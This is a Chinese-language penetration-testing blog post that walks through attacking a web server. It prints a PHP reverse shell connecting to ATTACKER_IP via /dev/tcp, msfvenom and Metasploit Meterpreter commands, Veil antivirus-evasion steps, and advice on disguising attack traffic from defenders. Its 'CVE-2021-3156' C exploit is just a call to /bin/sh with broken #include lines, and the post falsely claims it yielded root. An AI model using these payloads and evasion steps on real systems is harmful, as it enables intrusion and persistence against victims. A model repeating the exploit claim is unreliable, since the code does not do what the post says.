0x01 攻击板块
在一次渗透测试任务中,我决定使用Kali Linux作为主要攻击平台。Kali Linux是一个专为渗透测试而设计的操作系统,内置了大量强大的安全工具,它是红队的好伙伴。其核心架构基于Debian,提供了稳定的环境,同时也允许攻击者灵活地安装和配置各种工具。在这次任务中,我将重点放在Web应用的渗透测试上。
首先,我通过Kali Linux中的Nmap进行信息收集,Nmap是一个网络扫描工具,可以帮助我快速识别目标的开放端口和服务。根据扫描结果,我发现目标机器运行了Apache服务器,并且暴露了多个端口,这意味着有可能存在漏洞可以利用。

接下来,我使用Nikto对目标Web服务器进行漏洞扫描,Nikto是一款开源的Web服务器扫描工具,它可以检测Web服务器中的常见漏洞,比如目录遍历、文件上传漏洞等。在扫描过程中,Nikto报告了一个可能的文件上传漏洞,这让我进一步确认攻击方向。
流量捕获实战
为了验证文件上传漏洞,我使用Kali Linux中的Burp Suite进行流量捕获和分析。Burp Suite是一个集成的Web应用安全测试平台,能够拦截和修改HTTP请求,让我能够深入分析和构造攻击流量。
有一次,我捕获到了Web应用的上传请求,通过分析请求包,我发现可以通过修改请求参数上传任意文件,这意味着我可以上传一个恶意的PHP脚本来获得目标服务器的控制权。
为了更进一步,我构造了一个简单的PHP反向Shell脚本:
<pre><code class="language-php"><?php // 用这个脚本来建立一个反向Shell exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'"); ?></code></pre>
将这个脚本上传到服务器后,我使用Netcat在我的Kali机器上监听目标端口,成功拿到了服务器的Shell。这让我能够执行更多的命令并进一步探测服务器环境。
Payload构造的艺术
在取得服务器Shell后,我需要构造更复杂的Payload来实现持久化和横向移动。使用Metasploit Framework,我生成了一个Meterpreter的Payload,这样能够更灵活地控制目标机器。
首先,我在Kali上生成Payload:
<pre><code class="language-bash">msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=ATTACKER_PORT -f raw > payload.php</code></pre>
然后通过Burp Suite的流量修改功能,将这个Payload上传到目标服务器。上传成功后,我在Metasploit中设置监听:

<pre><code class="language-bash">use exploit/multi/handler set PAYLOAD php/meterpreter/reverse_tcp set LHOST ATTACKER_IP set LPORT ATTACKER_PORT exploit</code></pre>
不久后,我在Metasploit中获得了目标机器的Meterpreter会话,可以进一步进行权限提升和内部网络探测。
权限提升与横向移动
权限提升是渗透过程中关键的一步,我使用了Kali Linux中的Linux Exploit Suggester工具来识别目标服务器的潜在提权漏洞。这个工具能够扫描系统信息并推荐可能的漏洞利用方式。
在一次任务中,我发现目标服务器存在一个未修补的SUID漏洞,Linux Exploit Suggester推荐使用CVE-2021-3156(Sudo提权漏洞)进行利用。
为了利用这一漏洞,我编写了一个利用C程序:
<pre><code class="language-c">#include <stdio.h>
include <stdlib.h>
include <unistd.h>
int main() { // 使用SUID漏洞进行提权 char *args[] = {"/bin/sh", NULL}; execve("/bin/sh", args, NULL); return 0; }</code></pre>
编译并运行后,我成功获得了root权限,这让我能够访问目标机器的所有资源。
绕过与免杀技巧
为了保持持久访问,我需要绕过目标机器的防御措施。在Kali Linux中,Evasion工具可以帮助我对恶意载荷进行免杀处理。
有一次,我使用Veil框架来生成免杀的Payload,Veil提供了混淆、加壳等多种技术来绕过杀毒软件的检测。
<pre><code class="language-bash">veil use evasion use python/shellcode_inject/flat set LHOST ATTACKER_IP set LPORT ATTACKER_PORT generate</code></pre>
生成的Payload能够成功绕过目标机器的杀毒软件检测,确保我在目标系统中的稳定访问。
检测与防御
虽然攻击是红队的核心任务,但理解防御机制同样重要。通过分析目标机器的日志和防火墙配置,我学会了如何从攻击者的视角进行检测的对抗。
在一次任务中,我发现目标机器的日志记录非常详尽,记录了所有不寻常的访问尝试。为了绕过这种检测,我研究了WAF(Web应用防火墙)的工作机制,并通过流量伪装来隐藏我的攻击流量。这样,目标机器的管理员难以检测到我的攻击尝试。
个人经验分享
在参与多次渗透测试任务后,我总结了一些经验:

- 灵活性和适应性:每个目标环境不同,攻击者需要能够灵活调整策略。
- 工具的熟练使用:Kali Linux中的工具非常多,熟练使用这些工具能够大大提高攻击成功率。
- 攻击链完整性:从信息收集到权限提升,每一步都至关重要。
- 持续学习:安全领域发展迅速,必须不断学习新技术和漏洞。
通过不断实践和学习,我逐渐掌握了渗透测试的各个方面,能够从多个角度分析目标环境,确保攻击的成功。每一次任务都是一次全新的挑战,也是一次提升技能的机会。